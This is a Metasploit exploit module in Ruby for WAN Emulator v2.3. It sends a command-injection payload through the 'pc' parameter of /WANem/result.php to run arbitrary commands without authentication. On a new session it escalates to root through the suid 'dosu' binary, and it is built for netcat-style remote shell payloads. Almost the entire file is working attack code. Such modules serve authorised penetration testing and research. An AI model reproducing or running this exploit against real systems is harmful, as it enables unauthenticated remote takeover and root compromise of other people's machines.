##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WAN Emulator v2.3 Command Execution',
      'Description'    => %q{
        This module exploits a command execution vulnerability in WAN Emulator
        version 2.3 which can be abused to allow unauthenticated users to execute
        arbitrary commands under the context of the 'www-data' user.
        The 'result.php' script calls shell_exec() with user controlled data
        from the 'pc' parameter. This module also exploits a command execution
        vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
        and vulnerable to command execution in argument one.
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Author'         =>
        [
          'bcoles', # Discovery and exploit
        ],
      'References'     =>
        [
          ['OSVDB', '85344'],
          ['OSVDB', '85345']
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00\x22\x27",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat netcat-e',
            }
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-08-12'
    ))
  end

  def on_new_session(client)
    client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
  end

  def check
    fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
    data  = "pc=127.0.0.1; "
    data << Rex::Text.uri_encode("echo #{fingerprint}")
    data << "%26"
    vprint_status("Sending check")

    begin
      res = send_request_cgi({
        'uri'    => '/WANem/result.php',
        'method' => 'POST',
        'data'   => data
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown
    end

    if res and res.code == 200 and res.body =~ /#{fingerprint}/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    data  = "pc=127.0.0.1; "
    data << Rex::Text.uri_encode(payload.raw)
    data << "%26"
    print_status("Sending payload (#{payload.raw.length} bytes)")
    begin
      res = send_request_cgi({
        'uri'    => '/WANem/result.php',
        'method' => 'POST',
        'data'   => data
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed")
    end
    if res and res.code == 200
      print_good("Payload sent successfully")
    else
      print_error("Sending payload failed")
    end
  end
end
